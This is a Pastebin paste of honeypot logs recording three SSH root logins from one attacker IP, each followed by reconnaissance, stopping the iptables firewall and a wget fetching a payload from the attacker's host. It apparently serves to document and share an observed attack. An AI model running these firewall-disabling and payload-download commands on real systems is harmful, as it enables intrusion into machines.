API tools faq
paste
Deltik

[HONEYPOT] 183.56.173.197 :: Firewall disabler

Deltik
Jul 8th, 2015
393
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.38 KB | None | 0 0
raw download clone embed print report
  1. First attempt
  2. Jul 5 05:57:49 localhost snoopy[7971]: [uid:0 sid:7971 tty:(none) cwd:/ filename:/usr/sbin/sshd]: /usr/sbin/sshd -R
  3. Jul 5 05:57:50 localhost sshd[7952]: Failed password for root from 43.255.189.22 port 40449 ssh2
  4. Jul 5 05:57:50 localhost snoopy[7973]: [uid:0 sid:7952 tty:(none) cwd:/ filename:/sbin/unix_chkpwd]: /sbin/unix_chkpwd root nonull
  5. Jul 5 05:57:50 localhost unix_chkpwd[7973]: password check failed for user (root)
  6. Jul 5 05:57:51 localhost snoopy[7974]: [uid:0 sid:7971 tty:(none) cwd:/ filename:/sbin/unix_chkpwd]: /sbin/unix_chkpwd root nonull
  7. Jul 5 05:57:51 localhost snoopy[7975]: [uid:0 sid:7971 tty:(none) cwd:/ filename:/sbin/unix_chkpwd]: /sbin/unix_chkpwd root chkexpiry
  8. Jul 5 05:57:51 localhost sshd[7971]: Accepted password for root from 183.56.173.197 port 3348 ssh2
  9. Jul 5 05:57:51 localhost sshd[7971]: pam_unix(sshd:session): session opened for user root by (uid=0)
  10. Jul 5 05:57:52 localhost snoopy[7976]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/bin/bash]: -bash
  11. Jul 5 05:57:52 localhost snoopy[7978]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/usr/bin/id]: id -un
  12. Jul 5 05:57:52 localhost snoopy[7980]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/bin/hostname]: /bin/hostname
  13. Jul 5 05:57:52 localhost snoopy[7982]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/usr/bin/tty]: tty -s
  14. Jul 5 05:57:52 localhost snoopy[7983]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/usr/bin/tput]: tput colors
  15. Jul 5 05:57:52 localhost snoopy[7985]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/usr/bin/dircolors]: dircolors --sh /etc/DIR_COLORS
  16. Jul 5 05:57:52 localhost snoopy[7987]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  17. Jul 5 05:57:52 localhost snoopy[7989]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  18. Jul 5 05:57:52 localhost snoopy[7990]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/etc/init.d/iptables]: /etc/init.d/iptables stop
  19. Jul 5 05:57:52 localhost snoopy[7992]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/sbin/consoletype]: /sbin/consoletype
  20. Jul 5 05:57:52 localhost snoopy[7994]: [uid:0 sid:7976 tty:(none) cwd:/root filename:/bin/grep]: grep -q module-init-tools
  21. Jul 5 05:57:52 localhost snoopy[7993]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/sbin/modprobe]: /sbin/modprobe --version
  22. Jul 5 05:57:52 localhost snoopy[7997]: [uid:0 sid:7976 tty:(none) cwd:/root filename:/bin/awk]: awk /^iptable_/ {print $1}
  23. Jul 5 05:57:52 localhost snoopy[7996]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/sbin/lsmod]: lsmod
  24. Jul 5 05:57:52 localhost snoopy[7999]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/bin/cat]: cat /proc/net/ip_tables_names
  25. Jul 5 05:58:04 localhost snoopy[8055]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/sbin/service]: service iptables stop
  26. Jul 5 05:58:04 localhost snoopy[8057]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/sbin/consoletype]: /sbin/consoletype
  27. Jul 5 05:58:04 localhost snoopy[8058]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/bin/basename]: basename /sbin/service
  28. Jul 5 05:58:04 localhost snoopy[8059]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/bin/basename]: basename /sbin/service
  29. Jul 5 05:58:04 localhost snoopy[8060]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/ filename:/bin/env]: env -i PATH=/sbin:/usr/sbin:/bin:/usr/bin TERM=vanilla /etc/init.d/iptables stop
  30. Jul 5 05:58:04 localhost snoopy[8062]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/ filename:/sbin/consoletype]: /sbin/consoletype
  31. Jul 5 05:58:04 localhost snoopy[8063]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/ filename:/sbin/modprobe]: /sbin/modprobe --version
  32. Jul 5 05:58:04 localhost snoopy[8064]: [uid:0 sid:7976 tty:(none) cwd:/ filename:/bin/grep]: grep -q module-init-tools
  33. Jul 5 05:58:04 localhost snoopy[8067]: [uid:0 sid:7976 tty:(none) cwd:/ filename:/bin/awk]: awk /^iptable_/ {print $1}
  34. Jul 5 05:58:04 localhost snoopy[8066]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/ filename:/sbin/lsmod]: lsmod
  35. Jul 5 05:58:04 localhost snoopy[8069]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/ filename:/bin/cat]: cat /proc/net/ip_tables_names
  36. Jul 5 05:58:40 localhost snoopy[8202]: [uid:0 sid:7976 tty:/dev/pts/0 cwd:/root filename:/usr/bin/wget]: wget http://183.56.173.197:65331/1123
  37.  
  38. Second attempt
  39. Jul 5 06:03:50 localhost sshd[9229]: Accepted password for root from 183.56.173.197 port 1894 ssh2
  40. Jul 5 06:03:51 localhost snoopy[9250]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/bin/bash]: -bash
  41. Jul 5 06:03:51 localhost snoopy[9252]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/usr/bin/id]: id -un
  42. Jul 5 06:03:51 localhost snoopy[9254]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/bin/hostname]: /bin/hostname
  43. Jul 5 06:03:51 localhost snoopy[9256]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/usr/bin/tty]: tty -s
  44. Jul 5 06:03:51 localhost snoopy[9257]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/usr/bin/tput]: tput colors
  45. Jul 5 06:03:51 localhost snoopy[9259]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/usr/bin/dircolors]: dircolors --sh /etc/DIR_COLORS
  46. Jul 5 06:03:51 localhost snoopy[9261]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  47. Jul 5 06:03:51 localhost snoopy[9263]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  48. Jul 5 06:03:51 localhost snoopy[9264]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/etc/init.d/iptables]: /etc/init.d/iptables stop
  49. Jul 5 06:03:51 localhost snoopy[9266]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/sbin/consoletype]: /sbin/consoletype
  50. Jul 5 06:03:51 localhost snoopy[9268]: [uid:0 sid:9250 tty:(none) cwd:/root filename:/bin/grep]: grep -q module-init-tools
  51. Jul 5 06:03:51 localhost snoopy[9267]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/sbin/modprobe]: /sbin/modprobe --version
  52. Jul 5 06:03:51 localhost snoopy[9271]: [uid:0 sid:9250 tty:(none) cwd:/root filename:/bin/awk]: awk /^iptable_/ {print $1}
  53. Jul 5 06:03:51 localhost snoopy[9270]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/sbin/lsmod]: lsmod
  54. Jul 5 06:03:51 localhost snoopy[9273]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/bin/cat]: cat /proc/net/ip_tables_names
  55. Jul 5 06:04:03 localhost snoopy[9314]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/sbin/service]: service iptables stop
  56. Jul 5 06:04:03 localhost snoopy[9316]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/sbin/consoletype]: /sbin/consoletype
  57. Jul 5 06:04:03 localhost snoopy[9317]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/bin/basename]: basename /sbin/service
  58. Jul 5 06:04:03 localhost snoopy[9318]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/bin/basename]: basename /sbin/service
  59. Jul 5 06:04:03 localhost snoopy[9319]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/ filename:/bin/env]: env -i PATH=/sbin:/usr/sbin:/bin:/usr/bin TERM=vanilla /etc/init.d/iptables stop
  60. Jul 5 06:04:03 localhost snoopy[9321]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/ filename:/sbin/consoletype]: /sbin/consoletype
  61. Jul 5 06:04:03 localhost snoopy[9323]: [uid:0 sid:9250 tty:(none) cwd:/ filename:/bin/grep]: grep -q module-init-tools
  62. Jul 5 06:04:03 localhost snoopy[9322]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/ filename:/sbin/modprobe]: /sbin/modprobe --version
  63. Jul 5 06:04:03 localhost snoopy[9326]: [uid:0 sid:9250 tty:(none) cwd:/ filename:/bin/awk]: awk /^iptable_/ {print $1}
  64. Jul 5 06:04:03 localhost snoopy[9325]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/ filename:/sbin/lsmod]: lsmod
  65. Jul 5 06:04:03 localhost snoopy[9328]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/ filename:/bin/cat]: cat /proc/net/ip_tables_names
  66. Jul 5 06:04:39 localhost snoopy[9464]: [uid:0 sid:9250 tty:/dev/pts/1 cwd:/root filename:/usr/bin/wget]: wget http://183.56.173.197:65331/1123
  67.  
  68. Third attempt
  69. Jul 5 06:10:10 localhost sshd[10539]: Accepted password for root from 183.56.173.197 port 2124 ssh2
  70. Jul 5 06:10:10 localhost sshd[10539]: pam_unix(sshd:session): session opened for user root by (uid=0)
  71. Jul 5 06:10:10 localhost snoopy[10543]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/bin/bash]: -bash
  72. Jul 5 06:10:10 localhost snoopy[10545]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/usr/bin/id]: id -un
  73. Jul 5 06:10:10 localhost snoopy[10547]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/bin/hostname]: /bin/hostname
  74. Jul 5 06:10:10 localhost snoopy[10549]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/usr/bin/tty]: tty -s
  75. Jul 5 06:10:10 localhost snoopy[10550]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/usr/bin/tput]: tput colors
  76. Jul 5 06:10:10 localhost snoopy[10552]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/usr/bin/dircolors]: dircolors --sh /etc/DIR_COLORS
  77. Jul 5 06:10:10 localhost snoopy[10554]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  78. Jul 5 06:10:10 localhost snoopy[10556]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  79. Jul 5 06:10:11 localhost snoopy[10557]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/etc/init.d/iptables]: /etc/init.d/iptables stop
  80. Jul 5 06:10:11 localhost snoopy[10559]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/sbin/consoletype]: /sbin/consoletype
  81. Jul 5 06:10:11 localhost snoopy[10561]: [uid:0 sid:10543 tty:(none) cwd:/root filename:/bin/grep]: grep -q module-init-tools
  82. Jul 5 06:10:11 localhost snoopy[10560]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/sbin/modprobe]: /sbin/modprobe --version
  83. Jul 5 06:10:11 localhost snoopy[10564]: [uid:0 sid:10543 tty:(none) cwd:/root filename:/bin/awk]: awk /^iptable_/ {print $1}
  84. Jul 5 06:10:11 localhost snoopy[10563]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/sbin/lsmod]: lsmod
  85. Jul 5 06:10:11 localhost snoopy[10566]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/bin/cat]: cat /proc/net/ip_tables_names
  86. Jul 5 06:10:23 localhost snoopy[10614]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/sbin/service]: service iptables stop
  87. Jul 5 06:10:23 localhost snoopy[10617]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/sbin/consoletype]: /sbin/consoletype
  88. Jul 5 06:10:23 localhost snoopy[10618]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/bin/basename]: basename /sbin/service
  89. Jul 5 06:10:23 localhost snoopy[10619]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/bin/basename]: basename /sbin/service
  90. Jul 5 06:10:23 localhost snoopy[10620]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/ filename:/bin/env]: env -i PATH=/sbin:/usr/sbin:/bin:/usr/bin TERM=vanilla /etc/init.d/iptables stop
  91. Jul 5 06:10:23 localhost snoopy[10622]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/ filename:/sbin/consoletype]: /sbin/consoletype
  92. Jul 5 06:10:23 localhost snoopy[10624]: [uid:0 sid:10543 tty:(none) cwd:/ filename:/bin/grep]: grep -q module-init-tools
  93. Jul 5 06:10:23 localhost snoopy[10623]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/ filename:/sbin/modprobe]: /sbin/modprobe --version
  94. Jul 5 06:10:23 localhost snoopy[10627]: [uid:0 sid:10543 tty:(none) cwd:/ filename:/bin/awk]: awk /^iptable_/ {print $1}
  95. Jul 5 06:10:23 localhost snoopy[10626]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/ filename:/sbin/lsmod]: lsmod
  96. Jul 5 06:10:23 localhost snoopy[10629]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/ filename:/bin/cat]: cat /proc/net/ip_tables_names
  97. Jul 5 06:10:59 localhost snoopy[10761]: [uid:0 sid:10543 tty:/dev/pts/2 cwd:/root filename:/usr/bin/wget]: wget http://183.56.173.197:65331/1123
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!